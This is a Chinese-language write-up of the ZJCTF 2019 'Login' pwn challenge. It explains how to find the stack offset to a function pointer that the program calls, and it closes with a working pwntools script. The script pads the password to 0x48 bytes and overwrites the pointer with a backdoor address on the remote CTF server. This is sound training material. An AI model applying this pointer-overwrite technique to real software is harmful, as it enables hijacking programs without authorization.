[ZJCTF 2019]Login
zach0ry

题目

image-20250826200943571

发现代码有点不容易分析,但是题目中存在直接的后门函数image-20250826201036889

所以题目应该不难

在check函数中

image-20250826201120027

看到这个函数的参数被执行了

所以我们可以把这个参数直接替换为后门函数的地址(第一个参数存在rdi中)

因为这个函数是在main函数中被调用的

我们去main函数中找到rdi的赋值

image-20250826201408579

lea rax, [rbp+var_130] 这条指令的意思就是:**计算 [rbp+var_130] 这个内存地址,然后把这个地址本身的值赋给 rax 寄存器。**符合我们后面看到的a1指针的情况

图中可以看到rdi的值应该是[rbp+var_130]

且在password_checker之后把[rbp+var_130]的值赋给rax

所以我们可以去password_checker查看其位置,目标就是找到它的相对位置

image-20250826201901279image-20250826201928189

看到距离ret是0x18

main接下来会调用read_password函数(这两个都是main调用的,可以根据其相当于ret的位置去判断其实际位置)

会把栈清空,然后建它自己的的栈空间

image-20250826202338898image-20250826202402157

可以看到从读入位置s到我们执行的参数位置偏移是0x48

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p=process("./login")

elf=ELF("./login")
#gdb.attach(p,"b*0x400B68")
p=remote("node5.buuoj.cn",29403)
p.recvuntil(b"username:")
p.sendline(b"admin")

#p.recvuntil(b"password:")
pay=b"2jctf_pa5sw0rd"
pay=pay.ljust(0x48,b"\x00")
pay+=p64(0x400E88)
p.sendline(pay)
p.interactive()